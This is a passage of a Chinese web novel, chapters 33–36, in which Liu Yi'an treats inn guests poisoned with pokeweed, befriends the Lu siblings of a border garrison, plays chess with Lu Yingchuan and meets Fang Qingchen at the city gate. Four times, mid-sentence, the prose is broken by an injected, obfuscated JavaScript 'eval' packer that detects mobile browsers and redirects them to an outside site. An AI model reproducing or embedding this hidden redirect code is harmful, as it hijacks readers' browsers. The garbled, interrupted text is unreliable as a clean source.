柳忆安还记得那一晚,方轻尘指着书的角落,告诉她豆浆可解诸毒,若不慎误食毒物,可以先喝豆浆来延缓毒性。 “好吧,那就都听女君的吧。”掌柜见柳忆安神情坚定,决定按照她的指示放手一搏。 “我也来帮你们。”说罢,柳忆安也一起行动起来,给中毒之人灌下豆浆。 待所有人喝下豆浆后,柳忆安又指导她们将秽物吐了出来,等待医师到来。 大约一炷香的功夫后,医师带着人马姗姗来迟,见客栈里晕倒一片,连忙查看情况。 “医师,您看看,这是她们刚刚喝过的汤,问题是不是出在这汤身上啊?”掌柜的将保存好的汤罐拿给医师查看。 医师将罐子里的东西盛出来,查看完里面的食材,眉头紧紧地皱了起来。 “这里为何会有商陆?莫不是你们将它看作了人参?” “商陆?”掌柜的不解,“这是何物?” “这种药材,根部像极了人参,但它有毒,大量服用时会使人头疼闹晕,腹痛难忍,你们怎么会用商陆来煲汤?” 医师找到了问题所在,随即带着徒弟们开始施救。 “你们处理得还算妥当,这些人没有什么大问题,待胃里的东西全都吐出来后,再喝几贴药就无碍了。”患者的情况比医师想象得要好上许多。 掌柜的知道这多亏了柳忆安的安排,她拱手朝柳忆安谢道:“多谢女君出手相助。” 柳忆安无心回应,她现在只挂心小露小霜,还有王镖头。 这三人也算因她才遇此劫难,柳忆安心里觉得过意不去。 “这位女君,多谢你了,请问怎么称呼?” 一旁的角落里,突然传来一位女子飒爽的声音。 柳忆安转过头,看见一位身着黑色戎装的女子盘坐在墙角,她五官凌厉,眉峰微挑,乌黑的长发高高束起,头上没有任何繁杂的装饰,看起来十分飒爽。虽然现在显得有些狼狈,却也能窥出她身姿十分挺拔,显然不是凡人。 “在下姓柳,是来京中参加会试的举人。”柳忆安向对方介绍了自己的身份。 “幸会幸会,在下陆映昭,旁边这位是我的胞弟,陆映川。” 柳忆安这才留意到,这位英气的女子身旁还瘫坐着一个虚弱的男子。 这位男子的穿着打扮和陆映昭十分相似,同样是高束起来的乌发,没有任何的装饰。他的五官和陆映昭很像,却多了一丝清冷。因为中毒的原因,皮肤苍白不见血色,为他更添了一些冷艳的气质。 听到姐姐向她人介绍自己,陆映川睁开眼睛,朝柳忆安点了一下头后就合上了眼继续休息。 “柳女君勿怪,我弟弟就是这样的性格。”陆映昭为自己的弟弟解释道。 柳忆安并不在意,“无妨,大家身子虚弱,是该好好休息。” “我们姐弟刚从平洲回京,问了路人,都说这家店味道不错,谁能想到回京的第一顿饭就出了事。” 柳忆安刚才沉着冷静的表现令陆映昭对她很有好感,因此话不由得多了一些。 听到平洲这个地名,再联系上陆映昭的穿着打扮,柳忆安已经大致猜到了她的身份。 平洲处于西北边陲,和北戎接壤。昔年,北戎屡次在边境挑起争端,烽火硝烟不断,是历代皇帝的心头大患。 十年前,北戎再次大举入侵,陆家军临危受命,誓死抵御北戎铁骑。最终,以数万将士的生命为代价迫使北戎求和,自此北戎元气大伤,十年未敢掀起战事。 而陆家军,也自此驻守在平洲,守护着边境的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951919|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和平。陆大将军被朝廷封为平北侯,以表彰其赫赫功名。 前不久,有传闻说平北侯因病离世,其嫡女承袭爵位,受封为新任平北侯,准备启程回京述职。 想来眼前这位英姿飒爽的陆女君就是新任的平北侯了。 “平洲?莫非女君就是新任的平北侯?” “哈哈,柳女君竟认得我,”陆映昭没想到柳忆安认识自己,“太好了,省得我介绍自己了。” “裕朝的子民都对陆家军的风采所有耳闻,陆氏一门镇守边关十余年,百姓们都很感谢你们陆氏一族的付出。” 柳忆安由衷地钦佩陆家人的忠勇,若非幼时没机会学武,否则她也想投身沙场,为国效力。可惜自己从小学了文,只能凭借笔墨为百姓争得一份太平。 “柳女君过誉了,”陆映昭摆摆手,“我们姐弟自小在平洲长大,这是第一次回到京城,能认识柳女君也是缘分一场。看柳女君的学识渊博,会试应当不在话下,等待殿试期间可以来陆府小住一些时日,就当陪我这个粗人了。” 柳忆安本就敬重陆家人,如今又见陆映昭为人十分爽快,非常乐于同她来往,便答应了她的邀请。 “好,只要陆女君不嫌弃,我就去府上叨扰了。” 同陆映昭几句话聊完,小露和小霜已经缓过神来,恢复了一些意识。 “小姐,我现在好一些了。”小霜晃悠悠地爬起来,手得撑住墙才能站稳,“我们这是怎么回事?” “你们误食了有毒的药材,医师已经为你们瞧过了,这几日好好喝药,很快就没事了。” 柳忆安扶住了小霜,想要送她回套房休息。 “小姐,我先在这陪着小露,您去忙自己的事情吧,不用再为我们操心了。” 这一路上,柳忆安争分夺秒地看书,小霜知道柳忆安十分重视这次考试,不想让她为自己分心。 “小霜,你们是我的家人,我不可能在这个关头对你们不管不问,我先送你回套房,然后我再下来看着小露。” 柳忆安拒绝了小霜的提议,坚持要送她上楼休息,小霜见拧不过柳忆安,便照着柳忆安的提议做了。 将小霜安置好,柳忆安赶紧回到了大厅,等待小露苏醒过来。刚才灌了太多豆浆进去,柳忆安害怕背她上楼会让她呛到,不敢擅自行动。 “你对下人还挺用心的。” 一句虚弱的男声传进柳忆安的耳朵里,她回头一看,是陆映川突然同她讲话。 柳忆安觉得陆映川的话有些莫名其妙。 “她们是因为陪我进京考试才造次磨难,我当然要对她们负责。” “没见过主人为下人跑来跑去的。” 柳忆安不明白他为何突然对自己评头论足,她微微蹙眉,看了陆映川一眼,却发现对方已经闭上了眼睛,似乎不愿再多言。 柳忆安不想搭理对方,重新将注意力放在小露身上,终于,小露也醒了,柳忆安搀扶着她慢慢朝房间挪动。 走到楼梯拐角处的时候,陆映昭追了出来。 “柳女君,我替川儿向你道歉,他不是那种高高在上的人,刚刚他之所以那么说,是有别的原因。” 34. 住进侯府 柳忆安并不关心陆映川为何这般,两人不过萍水相逢,大不了离他远一些。 但陆映昭知道弟弟因为幼时的经历,长成了个口不对心的性格,好话都让他夹枪带棒地说,导致他身边根本没什么朋友。 陆映昭私下也劝说他很多回了,可是他却从没听进去,依然我行我素。陆映昭没办法,只好多替他给别人道歉。 柳忆安见陆映昭为自己弟弟道歉,不禁感慨道:“你们姐弟感情真好。” “是啊,”陆映昭点点头,“我和川儿是一胞所出,二人自小一起长大,我被母亲扔到战场上历练时,川儿不放心我,也一同去了。他虽是男子,但用兵打仗一点不比我差,好几次救我于水火之中。” 说到这里,陆映昭替弟弟觉得可惜。 “他一身将才绝不在我之下,只可惜是个男儿身,军队里常有人看不起他,觉得一个男儿不应该待在女人堆里,常给他使绊子。” 难怪他说话夹枪带棒的,恐怕是在军营里常被人刁难形成的习惯,柳忆安心想。 “令弟既有将帅之才,总有一天能被世人看见,陆侯放宽心。” 陆映昭惊讶地看了柳忆安一眼,柳忆安不知道自己说错了什么。 “川儿如今二十有四,已经到了成婚的年龄,他成亲后我不会再让他随我一同上战场。” “这是为何?”柳忆安不解。 “他总归是男子,若有了妻主后不安于内宅,还整日在外面拼命,哪里会有女子愿意娶他。来的路上我就同川儿说过了,这次回京我以功勋为他寻一门好亲事,让他留在京城,不要和我一起回平洲了。” 陆映昭已经为自己的胞弟做好了打算,军营总归不是男子待一辈子的地方。 “可是听陆侯的意思,令弟一身将才,后半生若拘于后院,岂不可惜?” 陆映昭却摆了摆手。 “他最可惜的就是生了个男儿身,既是男子,便只能如此了。” 柳忆安突然对陆映川产生了一些同情。 明明身边的人都认可了他的才华,却因为他为男子,不给他施展的权力。 柳忆安没有多作评价,毕竟是别人的家事,她不过是个路人。 陆映昭帮柳忆安搀扶着小露回到套房,拒绝了柳忆安邀她喝一杯茶的请求。 “我就不多留了,川儿还在下面,他身体没我强健,我得赶紧去照顾他。” 说完,陆映昭就匆匆离开了。 套房内,小霜和王镖头正卧在塌上休息,见方轻尘和小露回来了,连忙起身接应。 柳忆安拦下了她们,吩咐道:“你们好好休息,这几日我们借客栈的灶台自己做一些饭菜吃,我担心会试前再出什么意外。” 小霜十分赞成,“我同意,王镖头不是说这间客栈离贡院很近,我觉得可能是有人故意下毒,想少几个对手。” “嗯,刚刚掌柜已经报官了,现在还不清楚是何人替换了食材害人,在一切水落石出之前,我必须谨慎些。” 后天就是会试,客栈在这个时间点出事,柳忆安觉得一定有小人在背后捣鬼,只是自己在明,别人在暗,除了严防死守没有别的办法。 敢在天女眼皮子底下做出这种事,对方的身份恐怕也不容小觑。 *** 转眼,就到了会试的日子。 柳忆安随着众多考生一起,跨过了层层台阶走进贡院,等待这场关乎前程考试的开场。 整整九日,整个贡院被紧锁的高墙围得密不透风,每个人都奋笔疾书,想用笔墨为自己搏一个前程。 终于,考官宣布考试结束,柳忆安缓步踏出了贡院,她第一次觉得外面的天竟如此辽阔。 小露和小霜已经在一旁侯着她,看见她出来了,两人兴奋地迎了上来。 几人还未说上几句话,就有一人从路边的马车里跳了下来,正是陆映昭。 “柳女君,”陆映昭大喊道,“柳女君,我来接你了。” 陆映昭出现得唐突,柳忆安被吓了一跳。 “陆侯,你怎么来这里了?” “我是专程来接你同我一起回府的,”陆映昭一把搂住柳忆安,将她往马车上带,见周围没人关注自己,小声耳语道,“那日下毒的事情,我搜到了一些线索,想和柳女君回府细说。” 陆映昭将柳忆安接回了府,顺便让下人将她们留在客栈的东西一同搬了回来。 到了侯府,柳忆安被带到了正厅,饭菜已经在桌上备好。 陆映昭招待柳忆安坐下,“我准备了一桌好饭菜为柳女君接风洗尘,我们边吃边聊。” “那日中毒后,我自己派了人手悄悄调查此事,这家客栈有固定的商行食材,尤其是我们所食的那道人参乌鸡汤,提供人参的商铺一直是同一家,这么多年从未变过。她们的参一直是从挖参的村民手中收的,都是被医馆挑剩下的。” 人参价格不菲,只有这些残次品价格略微低些,客栈正好收来做汤用。 “商铺的伙计说,她们一直都从熟人手里收参,这些人都是挖参的老手,不会发生将商陆认成人参的情况。之后我又让商铺的伙计分辨商陆和人参,她们也都认了出来。所以这件事绝不会是意外,肯定是有人故意将人参调换成了商陆。” 陆映昭拿出一沓证词,上面都印上了提供证词的人的手印。 “客栈也是检查好货之后才会结钱,所以交货的时候也应当是没问题的,问题只会出在客栈收到参之后,有人将客栈的参全都换成了商陆。原本只需调查一下那日到底何人进出了厨房,就知道究竟是谁动了手脚,可问题就出现在这一步。” 陆映昭饮下一杯酒,继续说道:“那一日,客栈的后厨发生了一件怪事,她们的院子里突然多了一只无头的鸡到处乱走,你没听错,就是没有头的鸡,不仅乱走,还能飞上几步。” “伙计们觉得此事稀奇,便都出来围观了这只无头鸡,后来觉得实在诡异,便将这只鸡捉住又杀了一遍,最后炖了吃。” 柳忆安想象了一下那个画面,觉得有点恶心,忍不住干呕了起来。 陆映昭继续往下说。 “也就是在那大家围观的时候,没人注意到有没有外人进出厨房,线索在这个地方就中断了。” “看来这只鸡是用来引开大家的。”柳忆安评价道。 “没错,但是偏偏有人借鸡来引起舆论,说是客栈杀的鸡太多,鸡的恶灵借尸还魂,要报复所有用餐的人。” 这个谣言让柳忆安觉得有些可笑,她无奈地摇了摇头,说:“我们自然不会信这种事情,但是总有人会信,信的人多了就变成真的了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960973|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “肯定是有人故意放出这种说法,就为了让百姓觉得此事是天谴,而非人为。”陆映昭愤怒地拍了一下桌子,“做了害人的勾当还想倒打一耙,等我找到凶手,一定不会善罢甘休。” “如果大家都相信了,就算这件事没找到幕后黑手,也没人会再深究。”柳忆安觉得凶手真是打了一手好算盘,利用“鬼神”之说掩盖真相。 “所以我才这么着急将你找来,害了我陆映昭的人,决不能让她逍遥法外。”陆映昭恨恨道,“这段时间你就安心住在这里,若有什么进展我就告诉你。” “好,我愿意和陆侯一起调查此事。” 柳忆安隐隐约约觉得似乎凶手是冲自己来的,毕竟这段时间她的日子并不太平。从云州城来京城这一路也遇到了一些匪徒,幸好王镖头身手不错,再加上对这一趟路十分熟悉,最后才能平安到达。 只是到底是何人一直在背后陷害自己,莫非还是顾允?她早就知道顾允身份并不简单,绝不是因为自己是秋川白的妻主而对自己屡次下手,恐怕还有更深层的原因。 可到底出于什么理由,才会对一个举子一而三再而三地下手呢?据她收集的情报,顾允并非参加考试的举子,她到底出于什么目的对自己痛下杀手呢? 柳忆安想不明白。 她现在只希望早点调查出幕后真相,不要再牵连到身边人。 陆映昭看柳忆安心不在焉的模样,猜测她需要休息,也不再和她继续讨论,匆匆结束了话题。 “我们今日先不说此事了,柳女君先好好休息。”说完,陆映昭对着下人吩咐道,“锦儿,带柳女君去客房。” 陆映昭给柳忆安安排的房间在湖边,须得经过一座廊桥,柳忆安跟在锦儿后面慢慢地走,边走边欣赏着廊桥两侧的风景。 突然,桥对面的湖边空地上闪过一道亮点,柳忆安朝那边望去,看见陆映川借着月光在练剑。 他穿着一袭月白色的对襟交领长袍,腰部系有深色腰带,显得身影格外修长。 他手中的长剑映着月光,泛着一股寒意,劈开了浓厚的夜色。剑影随着他的身姿一同舞动着,一会儿如惊鸿掠水,一会儿又似游龙翻腾。 柳忆安停下脚步,站在桥上远远地欣赏陆映川舞剑的身姿,心里生出几分感慨,这样的身手,若从此以后只能拘于后院,那可真叫人可惜。 锦儿原本走在前面,见柳忆安停了下来,便也停下来等在一边,摇着头叹息道:“二爷早就到出嫁的年龄了,却整日折腾这些打打杀杀的玩意儿,哪还会有大户人家的女子敢娶二爷。这男子还是得温顺一些,才能有好姻缘。” 柳忆安听到下人随意置喙主人,觉得这侯府的规矩未免有些太宽松了,但自己身为客人又不好教训她,只能为陆映川说好话:“为国效力何来女男之分,陆二爷是将门之后,自然会有将门的骨气。若有人不喜陆二爷一身的好武艺,只能说那人配不上陆二爷,算不得什么好姻缘,这种人不嫁便不嫁了。” 锦儿闻言,连忙低下头,恭敬道:“柳女君说得有理,是奴婢多言了。” 待柳忆安回到卧房,陆映昭从陆映川身后的阴影里走了出来,她拍了拍手,笑着看向陆映川,说道:“你一向直来直去,没想到如今也会用心计了。我按照你说的安排下去了,现在等着锦儿回话吧。” 35. 选拔神侍 “侯主,柳女君已经回房了。” 伴随着细碎的脚步声,锦儿前来复命。 “她怎么说的?”陆映昭好奇地问道。 锦儿将柳忆安的回答一字不差地转述了出来。 “说我们川儿是将门之后,自然会有将门的骨气,哈哈哈,说得好!”陆映昭大笑地看向陆映川,见他脸上毫无波澜,眼神却隐隐躲闪,于是便揶揄道,“柳女君说不欣赏你一身好武艺的算不上好姻缘,你觉得呢?” 陆映川握住剑柄的手微微一紧,随即垂下眼眸,淡淡地回道:“说得不错,所以嫁不出去便不嫁了,何必非要寻一门亲事自找苦吃。” 说完,便转过身往自己的卧房走去。 “那你现在是怎么想的,柳女君算是你的好姻缘吗?还需接着试探吗?”陆映昭边追边说,“诶,你走慢点啊,好歹给我个答案啊。” “她人不错,但是前程尚不明朗,急什么?” 陆映川冷冷地丢下一句话,一个飞身就从园子里消失了。 “不急吗?”陆映昭自言自语道,“我怎么感觉等春闱名次下来了就来不及了?” *** 第二天清早,王镖头为柳忆安送来了一封家里的来信。 原来王镖头将她们一行人在京城中毒的事情回报给了柳云,柳云得知后放心不下,于是方轻尘主动提出要来京城陪同柳忆安,以防再遇到这种情况。 这封信送到的时候,方轻尘已经在半路上了。 信里,柳云还提到了秋家的近况,据说秋家以去外地行商的名义搬离了云州城,不知道现下人在何处。 看完,柳忆安将信烧毁,便准备去寻陆映昭,想告诉她家中来人,她不便拖家带口住在侯府,打算过两日就告辞。 谁知到了正厅,却不见陆映昭人影,只有陆映川坐在那里。 “你找我姐姐吗?”陆映川率先开口。 “是,我有事想拜托陆侯?” “嗯,今早宫里来人把姐姐叫了过去,恐怕她一时半会儿回不来。” “原是这样,”柳忆安点点头,准备回房间等陆映昭,“那在下先告退了。” “你等等。” 见柳忆安这就要走,陆映川连忙叫住她。 “有什么事同我讲也是一样的。” 闻言,柳忆安便停了下来,对着陆映川作揖道:“家母听闻我在京中遇险,十分挂心,便派了家人前来照看。在下感谢陆侯与二爷的热情款待,只是家人既已赶来,我拖家带口实在叨扰侯府,便想着过几日另寻住处,还望二爷谅解。” “哦,这事啊,”听闻柳忆安想搬走,陆映川微不可察地皱了皱眉,“侯府还有很多空房间,我让人收拾出来,你不用搬走。” “那多谢陆二爷。”见陆映川如此爽快,柳忆安一时没反应过来,微微一顿,随即拱手谢道。 “你尚且安心留在侯府,京中局势复杂,外头不知有多少人盯着你,若再发生上次那种事,可不一定有人护得住你。你家人千里迢迢赶来,也是照顾你,若你因为此事就搬走,岂不是颠倒了轻重。” 见柳忆安似乎还有些疑虑,陆映川不疾不徐地补充道。 柳忆安抿了抿唇,她承认陆映川的话有几分道理。 还未参加会试,尚且有人暗暗算计她,如今放榜在即,恐怕敌人又在蠢蠢欲动。若真是住在外面,恐怕防不胜防。 她点了点头,答应道:“还是陆二爷想得明白,如此,在下便携家人叨扰了。” 陆映川见她答应,神色松快了一瞬,随即不着痕迹地移开视线,执起茶盏掩饰情绪,装作漫不经心的样子说道,“你若真觉得叨扰了侯府,倒也可以补偿一下。” “二爷请讲。” “你会下棋吗?”陆映川轻轻抿了一口茶,尽力掩饰自己的紧张,“若会,就陪我下几盘,也算作是你这几日借住侯府的‘房钱’。” “会是会,但在下棋艺不精…”柳忆安迟疑道。 “无妨,下着玩罢了。”陆映川起身,“还请柳女君随我去书房。” 侯府的书房同样坐落在湖边,环境雅致清幽,阳光透过雕花窗棂洒在桌案的棋盘上,静待着对弈之人的到来。 两人入座,陆映川伸出手,示意对方先下。 柳忆安知道自己棋艺一般,也不推辞,率先落下白子。 棋局逐渐展开,柳忆安落子稳健,处处留有余地,而陆映川则更显凌厉,每一步都极具侵略性,毫不留情地攻向对方。 起初,棋局看似对柳忆安极为不利,但她不慌不忙,暗自布局,待时机成熟,忽然反守为攻,一举破开陆映川了的包围。 原本陆映川游刃有余,看到这一幕,终于严肃起来,收起了猛烈的攻势,重新谋算起来。 两人皆是心思缜密之人,一时棋逢对手,竟不知不觉下了一个时辰。 最后一子落下,柳忆安缓缓收手,轻笑道:“二爷棋艺甚高,在下认输。” 陆映川虽然赢了,但心知这胜利赢得属实不易。 “你倒是谦虚,你这哪里像是棋艺不精的样子。” 柳忆安无奈地笑了笑,“这不还是输给陆二爷了吗?” “一般人在我手下很难撑过一盏茶的功夫,这并非我狂妄,是事实。”陆映川一边整理棋盘一边说道,“你心思够细,擅长潜伏,表面看似被动,实则处处留有余地,是个不俗的对手。” 柳忆安没想到陆映川竟能从一局棋中看出这么多,她挑了挑眉,“二爷步步为营,排兵布阵甚至精妙,我哪里能是您的对手。” “你别叫我二爷了,难听得很。” 陆映川觉得不喜欢柳忆安这么称呼他,觉得很是刺耳。 柳忆安不解,“这称呼哪里不妥?” “听着生分。”陆映川执起一枚黑子,在指尖轻轻把玩。 「我本就同你不熟。」 柳忆安心里暗暗想,嘴上却恭敬地问:“那请问该怎么称呼?” 陆映川玩弄棋子的手指一顿,轻描淡写地说;“你直接唤我名就好。” 柳忆安略有迟疑,她看向陆映川,见他面容平静,眼底却藏着几分意味不明的情绪,似乎是在试探她。 “这…”柳忆安思索片刻,“这不太妥吧。” “有何不妥?”陆映川微微抬眼,目光正好撞上她的视线,于是唇角扬起一丝似笑非笑的弧度,“唤我的称呼,当然得选个我喜欢的。” 「这人果然喜怒无常,脾气古怪。」柳忆安腹语道。 但她还是点了点头,这种小事就随他去吧。 似乎是察觉到了柳忆安的敷衍,陆映川轻轻笑出了声,没有继续这个话题,而是做出了“请”的手势,邀请柳忆安再下一盘。 就这样,两人在书房内对弈了整整半日,直到屋外的日光渐渐西沉,柳忆安也开始坐立难安,陆映川才放她离开。 *** 这几日,宫里经常传唤陆映昭,白天很难在陆府见到她,柳忆安只能在晚上同她讨论中毒案的进展。 调查的进度十分缓慢,从客栈那里已经搜查不出什么新的线索。 “不如我们找找这批商陆是从哪里来的?” 在调查一筹莫展的时候,柳忆安提议道。 “有道理,既然查不出是谁调换了食材,那就反过来看是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陆映昭微微颔首,语气带着几分凝重:“最近一段时间,国师向皇帝献策,说要选出一位神侍献给上天。据说,被上天认可的神侍可以直接传达神的旨意,也可以代表上天对众生赐福。” “神侍?” 柳忆安第一次听到这个词,不知是何意。 “就是献给神的侍从,必须是未经情事的男子,身上不得有一处伤痕。”陆映昭压低了声音,小声说道,“不过具体的选拔过程要复杂得多,皇帝找来我们几个将军,仅仅是为了护送神侍入宫,真正的选拔由国师一手操办。” 关于这位国师,柳忆安几年前有所耳闻,据说皇帝生过一次大病,每日苦不堪言,寻遍名医却无人能治。直到有一天,据说一位神人驾鹤而至,用了三天时间就医好了皇帝,并且献上了延年益寿的丹药。从此,皇帝将其奉为国师,对她很是信服。 “这位国师如今在朝堂上说一不二,仅凭‘神意’便能左右皇帝的决定,可以说凌驾于百官之上。”说完,陆映昭苦笑一声,“如今朝堂里,没人说一句国师的不是,生怕一个不小心,脑袋就没了。” “既然国师已经通晓‘神意’,为何又要选什么‘神侍’?” “这段时日,各地灾害频发,国师炼的丹药也没以前那么有用了,”陆映昭捏紧了手中的酒杯,“她说这是因为上天不满,降下天谴,必须献上一名贞洁男子,以求上天宽恕,恢复国运昌隆。” 话毕,房间里陷入巨大的沉默。 两人对视一眼,都在彼此的眼中看到了同样的讽意。她们都知道这件事有多荒唐,也知道朝堂上所有人都知道此事荒唐,但就是无可奈何。 “马上就要揭榜了,殿试上你一定要留意国师,如果得罪了她,肯定就没有出头之日了。”陆映昭叮嘱道。 “我明白了,多谢陆侯提醒。” “你回去好好休息吧,这段时间中毒一事就交给我负责调查,你安心准备殿试,待你入朝为官后我们再一同出力。” 说完,陆映昭端起酒杯,一饮而尽。 “这一杯酒,就当提前为柳女君贺喜了。” 36. 路遇神侍 天还未亮,京城的街头已经人影晃动,卖早点的小贩为了占据最好的位置,早早就支好了摊子。 柳忆安穿梭在蒙蒙亮的街头,准备前往城门口,迎接方轻尘的到来。 昨日,镖局的人送来消息,说今日早上,方轻尘跟随的商队就能抵达京城,问柳忆安需不需要她们将人直接送到侯府,只是商队需要先将货物送达,大约下午才有人手护送方轻尘。 柳忆安听罢,立刻决定还是由自己去城门口迎接方轻尘,不能让他一个人等待太久。 于是她今日早早就穿戴整齐,想等城门打开的那一刻就候在哪里。 临出门前,她又看见了那件方轻尘亲手缝制的斗篷。虽然天气已经转暖,已经不再需要穿戴斗篷,但她纠结一番后还是将那件斗篷穿上了。 “小姐,我们不用这么早就出来吧。”小露还没完全清醒过来,踉跄地跟在柳忆安身后,嘴里还在打着哈欠。 “商队在路上休息的时间很短,想必她们一行人很早就出发了,我怕到晚了同商队错过。” 柳忆安知道小露和小霜这些日子没有休息好,见她俩一副昏昏欲睡的模样,不忍让她们和自己一起在城门久等。 “你们不必跟着我,回去歇着吧。趁着今日日头好,把冬衣收拾一下。”她轻声吩咐。 一开始,两人坚持要陪柳忆安一起去城门口等人,但最后还是拗不过柳忆安,只好留在侯府。 柳忆安漫步到了城门口,寻了一个视野好的地方静静地等待着。 她想起了和方轻尘分别时的场景。 当时送别自己的人很多,方轻尘就挤在一个不起眼的角落里。旁人或依依惜别,或殷切叮嘱,只有他无声无息地站在那里,被旁人推搡着。 他没有上前对自己说些什么,但是目光里却藏了很多情谊,温柔又隐忍,像是想要将她的模样牢牢记住。 那时,她刚做下了要将他抬为正夫的承诺,她之所以做出这个承诺,一方面是为了报答他对自己恩情,一方面是不想让方公子顶着小侍的身份生活。 反正她正夫之位空悬,不如借这个身份给他一个庇护,但这并不意味着什么。 她自认为,和普通的朋友相比,她对方轻尘只多了一丝照拂而已。 可分别后,她却时常忆起他。 她想起那些与方轻尘共处的日子,想起他们交谈时的点点滴滴。她原本并非多话之人,可不知为何,在他面前,总会不自觉地说得多些。而他总是安静地听着,从不打断,也不催促,总是用温润的目光注视着自己,让人无端生出几分安心。 思及此处,柳忆安的唇角浮现一抹连自己都未察觉的轻笑。 晨曦初现,远方的官道上传来车马轱辘滚动的声音,一行人马缓缓朝城门靠近,镖师们骑在马上,护送着商队进城。 柳忆安的心猛地一紧,站直了身子,定睛望去,方轻尘端坐在一辆简朴的马车中,似乎正在同身边人交谈,晨光透过微卷的帘布洒落在他素色的衣衫上,映出一层柔和的光晕,让整个人显得愈发清雅。 忽然,像是察觉到什么,方轻尘转过头,朝城门方向望来。 他一眼就看见了熙攘人群中的柳忆安。 随即,他让马车停了下来,在与同行的人告别后,朝着柳忆安走来。 “忆安。” 方轻尘的声音不高,却格外清晰。 “你还好吗?” “你这一路还好吗?” 两人同时开了口,顿了顿,相视一笑。 “你舟车劳顿,先回去稍作休息,等用膳的时候我们再慢慢聊。”柳忆安提议道。 两个人并肩朝侯府走去。 方轻尘看到柳忆安穿了自己亲手做的斗篷,她本就生得端丽,明媚的红衫更是衬得她肤如凝脂。随着她轻快的步伐,斗篷下摆轻轻摆动,仿佛一朵摇曳在风中的海棠花。 这个颜色果然很衬她。方轻尘心想。 柳忆安在前方带路,边走边为方轻尘介绍京城的特色。 “这家是卖豆花的,我来京城才知道原来这里的豆花竟是咸的,和咱们那里不一样,不过也别有一番风味,你想试试吗?” 路过一个卖豆花的小摊,柳忆安为方轻尘介绍道。 “好啊,我想试试。” 方轻尘察觉到,每当柳忆安认真介绍某样食物,多半是她自己也想尝尝。 他没有揭穿柳忆安的小心思,顺势在豆花摊前停下,“老板,来两碗豆花。” “好嘞,豆花儿两碗,客官您找地方坐下,马上就来。” 两人找到一个空桌,刚坐下,就听到有铃声伴着马蹄声从街道尽头传来。 “让一让,让一让,神侍过街,别挡路。” 一列人马出现在众人眼前。 队列的前方,是三个身着银色铠甲的将士,身姿挺拔地骑在乌黑的骏马之上,手中高举画着凤凰的黑色三角旗。 在那三人之后,是十几米长的步兵队伍,同样身着银色盔甲,护送着身后纯白色的马车。 马车由两匹白马拉动,四角悬挂着银铃,随着前进叮铃作响。车窗悬挂的不是布帘,而是白色的珠帘,一个端坐的身影从其中隐隐显露出来。 想来这个人就是传闻中的神侍。 两边的老百姓纷纷停下手中的事情,好奇地观望着,想窥到神侍的身影。 在经过柳忆安身侧的时候,这辆被众人瞩目的马车,突然停了下来。 片刻后,一位衣着华贵、绣有祥云纹的随从缓步下车,手中托着一锭光泽温润的银元宝,用不疾不徐的声音高声道: “神侍说,今日天清气朗,惠风和畅,正是与民同乐之时,他愿为今日所有品尝豆花的食客买单。” 言罢,他将银元宝递与豆花铺老板。 街巷顿时一片哗然,围观的百姓惊喜交加,纷纷向马车方向拱手作揖,感激道:“谢神侍赏赐!” 柳忆安感受到有一道目光穿过珠帘投射在自己身上,她看了回去,却只隐隐看见一个头戴面纱的男子,看不清他的面容,只能看见银白色的长发似瀑布般散落在他肩头。 马车中的身影察觉到柳忆安已然注意到自己的目光,随即收回视线。银铃轻响,马车再次缓缓启程,继续朝皇宫方向驶去。 “两位贵客,这是你们的豆花,方才神侍已经付过账了,你们不用再给钱了。” 老板麻利地将豆花端到两人面前,随即匆匆转身,忙着招呼后面排队的食客。 柳忆安看到了方轻尘疑惑的目光,知道他好奇神侍是谁,于是她轻轻摇了摇头,示意对方这里不方便提起。 方轻尘一下子就明白了柳忆安的意思,也不多说什么,埋头尝起豆花来。 不多时,两人用完了豆花,回到侯府,柳忆安带着方轻尘去同陆侯问好。 正厅里,陆氏姐弟正在商讨事情,见柳忆安回来,两人放下了手中的地图,起身迎接二人。 “欢迎欢迎,你就是柳女君的亲属吧,请问如何称呼?” “我姓方,名轻尘,是…”方轻尘顿了顿,纠结该如何介绍自己,“是柳家的下人。” “是我即将过门的夫郎。” 柳忆安的声音盖住了方轻尘的后半句话。 闻言,陆映昭复杂地看了陆映川一眼,却见他神色平静,看上去并不在意。 “方公子芝兰玉树,柳女君真是好福气啊。”陆映昭装作开心的样子,心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14983034|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里却在为自己的弟弟惋惜。 真可惜,川儿好不容易碰到一个适合他的人,结果竟然定了亲。 